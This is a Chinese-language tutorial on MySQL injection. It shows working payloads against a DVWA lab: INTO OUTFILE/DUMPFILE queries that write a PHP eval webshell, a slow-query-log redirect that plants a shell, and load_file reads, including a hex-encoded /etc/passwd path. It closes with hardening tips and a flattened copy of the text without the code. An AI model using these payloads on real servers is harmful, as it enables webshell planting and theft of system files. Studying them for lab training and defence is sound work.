Mysql注入写Shell读文件总结
字数 1450 2025-08-15 21:31:30

MySQL注入写Shell与读文件技术详解

一、导出函数写Shell技术

1.1 必要条件

  1. 网站可访问路径的绝对路径获取方法:

    • 报错信息:输入异常值让脚本主动报错
    • phpinfo页面:扫描目录寻找phpinfo文件
    • 推测:目标可能使用集成安装包(如phpstudy)
    • 枚举:尝试高频绝对路径
    • 读取配置文件:中间件或web应用的配置文件
  2. secure_file_priv参数设置

    • MySQL ≥5.5.53默认值为NULL(禁止导入导出)
    • MySQL <5.5.53默认值为空(无限制)
    • 查看方法:show global variables like '%secure%';
    • 三种状态:
      • NULL:禁止导入导出
      • 空值:无限制
      • 指定目录:仅允许该目录下操作
  3. MySQL服务对目标路径有写权限

  4. MySQL用户有FILE权限或ROOT权限

    • 检查方法:select user,file_priv from mysql.user;
  5. GPC关闭/未对引号转义

    • outfile和dumpfile路径不支持hex编码,必须用引号包裹

1.2 导出函数对比

outfile函数

select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';

特点:

  • 可导出多行数据,每行末尾自动添加换行符
  • 会进行特殊格式转换(\n会被转义,文件末尾加新行)
  • 路径必须用引号包裹,不支持hex编码
  • 不能覆盖已有文件

dumpfile函数

select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";

特点:

  • 只能导出一行数据
  • 保持文件原生内容/格式,适合二进制文件
  • 路径必须用引号包裹
  • 不能覆盖已有文件

补充参数

select * from student into outfile "path" 
LINES STARTING BY '<?php @eval($_POST[pass]);?>';

可选参数:

  • FIELDS TERMINATED BY ',' - 字段分隔符
  • OPTIONALLY ENCLOSED BY '"' - 字段包裹符
  • LINES TERMINATED BY '\n' - 行结束符

1.3 实际案例演示

DVWA Low级别SQL注入示例

  1. 直接写入一句话木马:
-1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#
  1. HEX编码方式写入:
-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#
  1. 先插入数据库再导出:
-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c'shell") ;#
-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#

二、日志写Shell技术

2.1 优势与条件

优势:规避secure_file_priv限制

必要条件

  1. 网站可访问路径的绝对路径
  2. MySQL服务对目标路径有写权限
  3. 用户有权限开启和修改日志设置
  4. GPC关闭/未对引号转义

2.2 MySQL日志类型利用

主要利用慢查询日志

  1. 查看日志相关设置:
SHOW GLOBAL VARIABLES LIKE '%log%';

关键参数:

  • slow_query_log:是否开启(默认OFF)
  • slow_query_log_file:日志文件路径
  • long_query_time:超过多少秒会被记录(默认10s)
  1. 修改日志为PHP文件并写入Shell:
set global slow_query_log = 1;
set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';
select "<?php eval($_POST[log]);?>" from users where sleep(11);

注意

  • 错误日志(log_error)是只读的,无法通过SQL修改
  • 事务日志和二进制日志同样无法通过SQL修改路径

三、读文件技术

3.1 必要条件

  1. 目标文件的绝对路径
  2. secure_file_priv允许读取该路径
  3. MySQL服务有读取权限
  4. 用户有FILE权限或ROOT权限

3.2 load_file函数

select load_file('绝对路径');

特点

  • 支持hex编码路径:
select load_file(0x2F6574632F706173737764);

3.3 实际案例

DVWA Low级别示例:

-1'union select 1,load_file('C:/phpStudy/WWW/readme.txt');#

四、防御建议

  1. 配置secure_file_priv为NULL或限制目录
  2. 避免使用ROOT账户连接数据库
  3. 严格控制FILE权限分配
  4. 开启GPC或对特殊字符进行转义
  5. 限制MySQL服务账户的目录权限
  6. 定期检查日志配置和异常文件

五、参考资源

  • MySQL官方文档
  • 各类安全研究文章(如FreeBuf等安全门户)
  • OWASP SQL注入防护指南
MySQL注入写Shell与读文件技术详解 一、导出函数写Shell技术 1.1 必要条件 网站可访问路径的绝对路径 获取方法: 报错信息:输入异常值让脚本主动报错 phpinfo页面:扫描目录寻找phpinfo文件 推测:目标可能使用集成安装包(如phpstudy) 枚举:尝试高频绝对路径 读取配置文件:中间件或web应用的配置文件 secure_ file_ priv参数设置 : MySQL ≥5.5.53默认值为NULL(禁止导入导出) MySQL <5.5.53默认值为空(无限制) 查看方法: show global variables like '%secure%'; 三种状态: NULL:禁止导入导出 空值:无限制 指定目录:仅允许该目录下操作 MySQL服务对目标路径有写权限 MySQL用户有FILE权限或ROOT权限 : 检查方法: select user,file_priv from mysql.user; GPC关闭/未对引号转义 : outfile和dumpfile路径不支持hex编码,必须用引号包裹 1.2 导出函数对比 outfile函数 特点: 可导出多行数据,每行末尾自动添加换行符 会进行特殊格式转换(\n会被转义,文件末尾加新行) 路径必须用引号包裹,不支持hex编码 不能覆盖已有文件 dumpfile函数 特点: 只能导出一行数据 保持文件原生内容/格式,适合二进制文件 路径必须用引号包裹 不能覆盖已有文件 补充参数 可选参数: FIELDS TERMINATED BY ',' - 字段分隔符 OPTIONALLY ENCLOSED BY '"' - 字段包裹符 LINES TERMINATED BY '\n' - 行结束符 1.3 实际案例演示 DVWA Low级别SQL注入示例 : 直接写入一句话木马: HEX编码方式写入: 先插入数据库再导出: 二、日志写Shell技术 2.1 优势与条件 优势 :规避secure_ file_ priv限制 必要条件 : 网站可访问路径的绝对路径 MySQL服务对目标路径有写权限 用户有权限开启和修改日志设置 GPC关闭/未对引号转义 2.2 MySQL日志类型利用 主要利用 慢查询日志 : 查看日志相关设置: 关键参数: slow_query_log :是否开启(默认OFF) slow_query_log_file :日志文件路径 long_query_time :超过多少秒会被记录(默认10s) 修改日志为PHP文件并写入Shell: 注意 : 错误日志(log_ error)是只读的,无法通过SQL修改 事务日志和二进制日志同样无法通过SQL修改路径 三、读文件技术 3.1 必要条件 目标文件的绝对路径 secure_ file_ priv允许读取该路径 MySQL服务有读取权限 用户有FILE权限或ROOT权限 3.2 load_ file函数 特点 : 支持hex编码路径: 3.3 实际案例 DVWA Low级别示例: 四、防御建议 配置secure_ file_ priv为NULL或限制目录 避免使用ROOT账户连接数据库 严格控制FILE权限分配 开启GPC或对特殊字符进行转义 限制MySQL服务账户的目录权限 定期检查日志配置和异常文件 五、参考资源 MySQL官方文档 各类安全研究文章(如FreeBuf等安全门户) OWASP SQL注入防护指南